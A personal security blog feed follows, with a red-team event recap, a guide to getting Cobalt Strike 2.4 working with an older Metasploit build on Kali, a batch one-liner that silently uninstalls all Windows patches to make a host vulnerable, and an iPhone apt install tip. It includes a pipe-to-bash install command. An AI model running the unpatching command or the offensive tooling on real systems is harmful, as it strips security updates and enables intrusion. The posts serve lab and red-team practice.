    Challenge Coin 1 Challenge Coin 2 In the end it was a great experience. I met some really kick ass people, some of which I will be seeing again at Black Hat/DEFCON next week! I'm glad I came out to play, but the real bonus was getting to talk to some of the other players, both red and blue. The guy that was shoveling shells with me actually knows the guy that sits next to me where I work, which is a strange coincidence. I also met the mother of one of the guys that's putting on the Car Hacking Village with Charlie Miller, so that's cool too. Everyone thanked me for coming out and the Merit guys even gave me a sweet challenge coin for coming all the way out and contributing so much! Pretty big honor, I'd say. The praise was very much appreciated and has assured me that I want to keep doing this red team stuff. I learned so much and I'm for sure going to try and come back next year with even more crazy stuff to throw at people. Thanks to everyone who helped make this event happen! It was a ton of fun!

    Cyber, cyber, cyber.

    Cobalt Strike 2.4 on Kali 2.0

    By: wumb0
    21 October 2015 at 06:38

    Cobalt Strike 3.0 came out lacking metasploit integration. Also, Cobalt Strike 2.4 (grab that here if you need it) doesn't work with the version of Metasploit that is built into Kali 2.0. That's okay, because you can still compile the metasploit framework to work with Cobalt Strike 2.4.

    curl -sSL https://get.rvm.io \| bash -s stable
    source /usr/local/rvm/scripts/rvm
    apt-get install libpq-dev libpcap-dev
    service postgresql start
    msfconsole
    exit (this was to make sure the msf database was created)
    rvm install 1.9.3
    cd /usr/share
    git clone https://github.com/rapid7/metasploit-framework cs-msf
    cd cs-msf
    git checkout dc48987
    rvm use 1.9.3
    bundle install
    for i in msf*;do update-alternatives --install /usr/bin/$i $i $PWD/$i 1;done
    cd ../metasploit-framework
    for i in msf*;do update-alternatives --install /usr/bin/$i $i $PWD/$i 2;done
    rm -rf $(dirname $(which msfconsole))/msf*
    update-alternatives --config msfrpcd < <(echo 1)
    cp /usr/share/metasploit-framework/config/database.yml /usr/share/cs-msf/config
    export MSF_DATABASE_CONFIG=/usr/share/cs-msf/config/database.yml
    

    Then, edit the database.yml file @ /usr/share/cs-msf/config/database.yml:

    • Delete the &pgsql after development
    • Delete all profiles after development (after first line with nothing on it)
    • Change development to production (1st line)
    • Save the file
    You should now be able to run cobalt strike 2.4 just fine.

    To switch back just open a new terminal OR:

    update-alternatives --config msfrpcd < <(echo 0)
    rvm use system
    

    And the next time you want to use 2.4 (put this in a script):

    \#!/bin/bash
    source /usr/local/rvm/scripts/rvm
    rvm use 1.9.3
    update-alternatives --config msfrpcd < <(echo 1)
    export MSF_DATABASE_CONFIG=/usr/share/cs-msf/config/database.yml 
    ./cobaltstrike &>/dev/null &disown
    read -p "Press enter once the RPC server has started up..." i
    update-alternatives --config msfrpcd < <(echo 0)
    

    I'm pretty sure there is a more elegant way to do this rather than using update-alternatives... but this works for now. As a side note... tracking down the exact revision where ruby 2.1 became a dependency was terrible. Yes, this is the absolute LAST commit you can get and compile without ruby 2.1. I might update this with a solution for later versions of metasploit before the MsgPack library update (which breaks cobaltstrike much more than I'm willing to fix!).

    Uninstall all installed windows KB patches in one line of batch

    By: wumb0
    6 November 2015 at 04:49

    I was trying to unpatch something to make it vulnerable and I was getting impatient trying to uninstall the correct patch so I got creative and came up with a one liner to uninstall all of them at once. Or at least all of the ones with working uninstallers and don't have other dependencies... The uninstallers are all called spuninst.exe and are somewhere in \\WINDOWS (under a bunch of sub folders that start with $NtUninstall) so I give you the following command:

    for /F %a in ('dir /B /S /A \\WINDOWS ^\| findstr spuninst.exe ^\| findstr NtUninstall') do @(echo %a && %a /quiet /norestart)
    

    Keep running this until it does not print anything and then all of the patches will be gone on reboot. Happy unpatching

    ... bonus

    for /L %b in (0,0,1) do @for /F %a in ('dir /B /S /A \\WINDOWS ^\| findstr spuninst.exe ^\| findstr NtUninstall') do @(echo %a && %a /quiet /norestart)
    

    Just keep running that until the screen is blank

    iPhone: Installing apt without a gui

    By: wumb0
    1 December 2015 at 20:49

    Usually to get apt you need to launch Cydia. If you only have an ssh connection in and would like apt you can go to http://apt.saurik.com/debs/ and grab berkeleydb_4.6.21-5_iphoneos-arm.deb and apt7_0.7.25.3-8_iphoneos-arm.deb. Scp them over and run dpkg -i apt7_0.7.25.3-8_iphoneos-arm.deb then dpkg -i berkeleydb_4.6.21-5_iphoneos-arm.deb. There you go. You can apt-get all of the things now.

    ❌
    ❌